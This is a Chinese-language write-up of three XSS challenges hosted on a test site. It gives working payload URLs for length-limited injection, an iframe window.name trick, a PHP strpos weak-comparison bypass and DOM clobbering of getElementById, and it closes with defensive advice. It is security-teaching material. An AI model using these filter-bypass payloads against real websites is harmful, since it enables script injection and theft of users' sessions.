一些BAT的XSS实例(九)番外篇
字数 1384 2025-08-26 22:11:51
BAT XSS实例分析与绕过技术详解
前言
本文档详细分析了三个精心设计的XSS挑战题目,涵盖了长度限制绕过、逻辑判断绕过等高级技巧。这些案例来自BAT等大型互联网企业的实际场景,具有很高的实战价值。
第一题:短字符XSS绕过
题目地址:http://px1624.sinaapp.com/test/shortxss.php
题目分析
- 页面接收
px参数并直接输出在<script>标签内 - 参数长度限制为10个字符
- 直接使用
alert(2020)(11字符)会超出限制
解决方案
使用eval(name)构造,配合iframe的name属性:
<iframe name="alert(2020)" src="http://px1624.sinaapp.com/test/shortxss.php?px=eval(name)">
技术原理
eval(name)仅9个字符,满足长度限制- iframe的name属性作为全局变量被eval执行
- 利用全局变量传递执行代码
第二题:多参数联合XSS
题目地址:http://px1624.sinaapp.com/test/shortxss1.php
题目分析
- 接收三个参数:
px,px1,px2 - 参数分别输出在img的alt属性和js代码中
- 每个参数限制20个字符
- 特殊字符过滤(除双引号外)
多种解法
解法1:变量重定义
http://px1624.sinaapp.com/test/shortxss1.php?px=alert(12345)&px1=%22onload=%22w=eval&px2=%22onload=%22w(px202012)
- 将eval重定义为w
- 利用可控变量px202012执行代码
解法2:PHP弱类型绕过
http://px1624.sinaapp.com/test/shortxss1.php?px=';alert(12345);'&px1=1&px2=2
- 利用PHP strpos函数弱类型比较漏洞
- 单引号位于参数首位时返回0,被误判为false
解法3:标签属性合并
http://px1624.sinaapp.com/test/shortxss1.php?px=1&px1=12345%22id=&px2=%22onload=%22alert(alt)
- 合并两个标签属性
- 利用alt属性执行代码
标准解法:双重eval中转
http://px1624.sinaapp.com/test/shortxss1.php?px=alert(12345)&px1=eval(px202012)%22id=%22t&px2=%22onload=%22eval(t.alt)
- img加载执行onload
- 执行t.alt → eval(px202012)
- px202012变量值为'alert(12345)'
- 最终执行eval('alert(12345)')
第三题:DOM Clobbering绕过
题目地址:http://px1624.sinaapp.com/test/shortxss2.php
题目分析
- 接收px1和px2两个参数
- 输出在img的alt属性和js逻辑判断中
- 长度限制21字符
- 过滤除双引号外的特殊字符
- 需要绕过if判断执行else代码
解决方案
解法1:覆盖getElementById
http://px1624.sinaapp.com/test/shortxss2.php?px1=%22name=%22getElementById&px2=%22;alert`2012.12.25`;%22
- 原理:DOM Clobbering技术
- img的name属性覆盖document.getElementById
- 使if判断失败,执行else代码
解法2:结合window.name
<iframe name=javascript:alert("2020.12.25") src='http://px1624.sinaapp.com/test/shortxss2.php?px1=%22name=%22getElementById&px2=%22;location=name;%22'>
或
<script>
window.name='javascript:alert("2020.12.25")';
location='http://px1624.sinaapp.com/test/shortxss2.php?px1=%22name=%22getElementById&px2=%22;location=name;%22'
</script>
技术原理:DOM Clobbering
- 非标准化DOM行为:浏览器会将name/id属性作为文档或全局对象的属性引用
- 可以覆盖document原有属性或全局变量
- 详细原理参考:使用Dom Clobbering扩展XSS
总结与防御建议
关键技术点
- 短字符技巧:eval(name)、全局变量利用
- 多参数联合利用:参数分散控制,最终组合执行
- 语言特性绕过:PHP弱类型比较漏洞
- DOM Clobbering:覆盖DOM方法和属性
防御建议
- 严格过滤所有用户输入,不依赖黑名单
- 使用强类型比较(===和!==)
- 对输出进行适当的编码和转义
- 避免直接将用户输入放入脚本上下文
- 使用CSP等安全策略限制脚本执行
这些案例展示了XSS漏洞利用的高级技巧,对安全测试人员和开发人员都具有重要参考价值。理解这些技术有助于设计更安全的Web应用和更有效的防御措施。